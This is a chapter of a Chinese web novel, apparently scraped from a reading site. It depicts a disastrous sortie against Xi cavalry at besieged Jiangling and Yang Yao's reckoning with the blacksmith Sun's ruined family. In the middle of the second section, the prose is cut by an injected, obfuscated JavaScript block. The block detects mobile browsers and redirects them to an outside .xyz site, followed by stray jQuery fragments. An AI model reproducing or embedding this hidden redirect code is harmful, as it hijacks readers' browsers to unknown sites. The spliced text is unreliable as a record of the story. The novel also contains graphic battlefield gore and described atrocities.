“楚王,俺自请带五千兄弟出战,掩护民众入城。”堂下,李顺瓮声瓮气地搓着手。
城外,大批流民正试图进城寻求庇护,追在他们屁股后面的,则是奚人侦察地形的斥候部队,约三百骑。
但奚人与大周交战数年,以一敌百的传说,早已深入人心,眼下敌军人虽少,却是连拱卫汴梁的精锐部队都打败了的百战之师,在气势上就输了一大截。
城内的意见分为三派,一派认为敌军人少,可以出城碰碰,掩护流民入城,另一派认为,不能贸然出战,应向流民打听清楚情况,制定万全之策再出击。
最后一种直接弃城跑路的观点纯粹是凑数的,贾富贵刚开了个头,就被此起彼伏的“问候”亲人之声吓得住了嘴。
被误伤的“亲人”--钟执面色不善地让众人闭嘴,准了李顺的请缨。
黄佑还想劝些什么,素来尊重老大哥的汉子打掉了黄佑的手:“以后别说你这种怂货是我大哥。”
五里外烟尘如黄龙腾空,三百奚人轻骑掀起的土雾若隐若现,距离已近到肉眼可视,城下的流民愈发惶恐。
“开城门!”李顺铁斧砸碎两块墙砖,“五千对三百,咱们吐唾沫也能淹死他们!”
众儿郎齐呼“将军威武”,黑脸汉子得意地又说了些激励赏赐的话。吊桥吱呀吱呀地下降,从空隙中隐隐可看到,奚军每名骑兵身旁还配了一匹空鞍战马。
一名新兵好奇不已,向吃过官家军饷的老乡问个不停。
“这是奚人惯用的‘双马轮驰’,马歇人不歇,能日夜奔袭三百里,等会儿你跑慢些,落到队伍后面。”老乡是一名逃兵,为了给父亲送葬,又把自己买给了“钟家军”。
此人深谙“出工不出力”之道,不求赏钱,只求活命,此刻更是环顾左右,偷偷往部队后面挤。
好在此刻年轻儿郎们都被激励得热血贲张,倒也无人在意他的小动作。那名好奇的新兵宝宝对老乡的胆怯不屑地撇了撇嘴,反倒往前挤了些,幻想着能缴获一匹奚人的战马。
他是步兵,早就想试试骑兵的战马,但在“钟家军”,骑兵是少数精锐部队,每人都把自己的马看得极为宝贝,他连跟马毛都没摸过。
吊桥轰然落下,李顺不等桥稳住,便带头发起了冲锋。为了给入城的民众留出位置,部队排成长列,鱼贯而出,一入一出,竟也掀起了浓烟滚滚,老兵更是借机混入了民众的队伍,转身又撤回了城里。
黝黑的汉子脸上,青筋暴起,宣花战斧寒光刺目,对面的奚人百夫长却只是咧嘴一笑,露出满口黄牙,放下头盔面罩,不急不慢地挥舞着手中的弯刀。
只是一个照面,李顺的熟铜甲在刀光中裂作两半。腹腔爆开的血雾里,青紫色的肠子缠上奚人百夫长的马蹄。上半身摔进护城河时,他兀自瞪着眼,右手还保持着挺枪突刺的姿势。
副将怔住的刹那,奚人三百骑兵已楔入阵中。很难说这些奚人到底有什么特别神勇之处,毕竟他们也只有一个脑袋两只手,但就是仅仅一个回合的冲锋,副将亦被砍于马下,五千部队的方针,如稻草般被三百奚人骑兵的巨镰无情地犁出一片血海!
“逃啊!”不知是谁先喊了出来,原本应阻拦骑兵突进的士兵扔下了盾牌,往城门狂奔,群龙无首的队伍彻底失控,这不再是一场战争,而是单方面的屠杀。
奚人百夫长狞笑着张弓,箭簇连穿七人,将最后一兵钉死在江陵的匾额上。城上观战的人亦变得慌张起来,抱头鼠窜,主帅李子昂死死地盯着城下,竟连躲闪都忘了。
“关闸!神箭手掩护!”还是黄佑先反应过来,率先发号施令,并砍死了那名未战先逃的老兵,以作威慑。
士兵们在城上同僚的箭雨掩护下,争先恐后的往吊桥上挤,甚至有士兵将民众挤下桥,互相践踏,护城河渐成血沼。
吊桥铁索被尸骸卡住,城头士卒疯砍索绳,碎木混着人体残肢簌簌坠落,当千斤闸轰然砸落,更是将数十来不及撤回的士兵拦腰截断。
黄昏的时候,城下烟尘自天际席卷而来,渐而滚沸翻涌,一柄绣着狼头的大纛在江陵城下现身,这意味着信上的预警成为了现实:
奚人首领阿古达木之四子乌珠,果真率大军来攻打江陵城了。
随着奚军在城下安营扎寨,弃城逃跑的音量逐渐变大,甚至隐隐有变成主流的趋势。又有本地土著提议,大周皇室最后的血脉就藏在城内,只要把柴明远找出来,献给阿古达乌珠,没准奚人愿意放过江陵。
“黄将军,你怎么看?”钟执的目光饶过李子昂,投向黄佑,经过今日城上的混乱,大家都知道,谁才是军中最可靠的人。
油滑的中年男人收起了一贯讨好的笑容,神情变得无比严肃。
-------------------------------------
夜色中,等待布施的流民队伍里起了争执。
有名矮个汉子仗着自己身材魁梧,想要插队,其他人也就捏着鼻子让了,偏偏一名不识趣的老头呆呆地愣在原地,任凭身旁牵着他的瘸子,怎么拉都没有反应。
推拉间,矮个汉子把老头怂到了地上,佝偻的身影这才像是回过神来,不住地叫疼。
普通人不敢管,但也无法视若罔闻,默契地将二人围成了一个圈,原本井然有序的队伍乱成了一锅粥。
原本站在队伍最前列布粥的女人,走过来问情况,听完周边人七嘴八舌的讲述后,对着矮个壮汉冷冷命令:“扶这老头起身,给他赔礼道歉。”
被一个女人指手画脚,矮个壮汉本是不服气的,他转过头一看,瞥见那闭月羞花的小脸蛋,气顿时消了一半,猥琐笑道:“小娘子,叫声哥哥便依你--”
巡逻的民兵见状正想出手,又被身边的同伴拉了回去,他再回头,只见那舀粥的长柄勺被使得虎虎生风,小娘子反将这矮个壮汉打得哭爹喊娘,欲逃又被一脚踹向了民兵。
“还有力气闹事,我看也不用吃饭了,把他拉去补城墙。”女人一脸理所当然地发号施令。
“是!”民兵们也大声应允,非常有精神。
女人扶起扶着老头,找了个亭子坐下。瘸子低头跟着,连连道谢,杨么看着二人有点眼熟,一时福临心至,想起来了:“孙铁匠!你们怎么又回来了?”
女人当然是杨么,在一日内体会了柴明远的背叛,林锦棠自尽,张姊胤再次临阵倒戈、胁持柴明远逃跑,熊熊怒火变成了一种奇怪的憋屈感。
好像所有人都在一夜之间长大,只有她还停留在原地,李顺之死更是将这种苦闷推向了高潮。
在杨么心中,李顺算得上兄弟,“断龙崖”上共患难,柴明远的“二桃杀三士”之计能奏效,全靠此人仗义执言,之后更是参与了“钟家军”大大小小每一场战役,所以当看到对方的尸首断成两半送回来时,杨么心中掀起的惊涛骇浪几乎要将她的理智淹没,恨不得一人一刀把城下那帮奚狗屠戮殆尽。
虞滢滢怕她一个人瞎想,越想越激动,给她找了点事做。于是兜兜转转四十多章,杨么又回来舀粥了。
而在第一章就出场的孙铁匠,带着家眷和徒弟跟随杨么投奔“大圣爷爷”后,却没有安安分分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787071|165171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打铁,几次想要逃跑,奈何拖家带口不方便,还是趁着王延州打得“钟家军”溃不成军,才成功跑路,钟执发现后,大发雷霆,还扬言要让他全家“受火刑之戮”。
孙铁匠的瘸子徒弟猛地抬头,嘴唇嗫嚅着想要解释,孙铁匠却回了神,挣脱了徒弟的搀扶,双膝跪地,不住磕头:
“杨姑娘,求你帮俺杀了那帮畜生,俺可以把命给你。”
瘸子徒弟簌簌地流着泪解释,师傅知道钟执不会放过他们,索性带着一家三口和几个徒弟,北上投奔孙铁匠的姐夫,听说姐夫在颖昌府开了一家很大的铁匠铺。
他们拖家带口走得慢,还没到颖昌府,就听说京城被奚人所破的消息,连皇帝都被抓走了,北蛮还要接着扫荡南方作为战利品,顿时慌得不知如何是好,失去了最后的逃生机会。
在他们停留的蔡州,知府听说奚军来了,直接弃城逃跑了,奚人铁骑入城,烧杀掳掠,无恶不作,火光照亮了三个夜晚的天空。
“小师妹长得漂亮,被奚狗看上,尸体被扔出军营的时候,没有一块完好的皮肤,师母护一下,被拦腰砍掉,我们师兄弟几个被奚狗骑着马追着拿鞭子抽,有人试图反抗,就会受到千百遍的折磨,最后只有我和师傅侥幸偷生,可是师傅也变成了这幅模样,要么昏昏沉沉,不知自己身处何处;清醒过来,又不住抽自己嘴巴,说要是当初没去找‘大圣爷爷’就好了……”
说到这,瘸子徒弟偷看杨么表情,女人扶着柱子,蜷缩的手指伸开,掉落一把木屑:“继续将?哦,你已经讲完了。”再看那柱子,分明已经掏出了一个洞。
杨么面无表情地给二人安置了住处,回屋的路上,其人久久不能平静。
过去,她是钟执手中一柄刀,钟执让她看砍哪儿,她就往哪个方向砍,所以当钟执命她“让孙铁匠无法回头”,她明知会造成什么样的后果,还是执行了。
起义所需的刀枪武器,不可能全从市面上购买,否则会引起官府的注意,所以孙铁匠的求援,可谓是瞌睡送了枕头,求之不得,但孙铁匠胆小怕事,若留有退路,定然不会掺和这桩株连九族的生意。
所有蹩脚的借口,能说得通的理由只有一个,在那时的杨么心中,义父总是对的。
但当这个借口失效后,她头一次明白,野心家登上高位的阶梯要用多少白骨填成。
刀不用思考,也不会痛苦,但是人即使痛苦,也要保持思考。
她还有机会补救吗?
屋中亮着灯,火盆积了厚厚的炭火,显然等候已久。摇曳的烛火照耀着黄佑一半的脸,半明半暗。
“今晚,钟执命人在全程搜罗张姊胤和柴明远,作为跟奚军谈判的筹码,即使找不到,最迟也将在明晚率大部队从水路撤退。”
“那城内的百万民众呢?”
杨么急忙追问,黄佑意味深长的眼神落到她身上,未作回答,反倒说了些无关的内容:“刘珩当堂反对,因违抗军令被押入大牢。”
杨么还想问些什么,黄佑再不肯开口,杨么正想动粗拦下,中年男人给了个鄙视的眼神,指了指脑袋。
她愣在原地,黄佑一言不发,匆匆离去后,终于明白了这只老狐狸的来意。
黄佑心有不甘,但又不敢明着反对。若是杨么政变成功,定会帮帮场子,若是杨么败了,身首异处,黄佑也不会多看一眼她的尸体,她真正的盟友只有尚在牢中的刘珩。
杨么深吸一口气,想起了程娘子说过的大义和小义,几乎是不假思索得出了答案。
这就是她挽回的机会,这是她的战场,她的命运。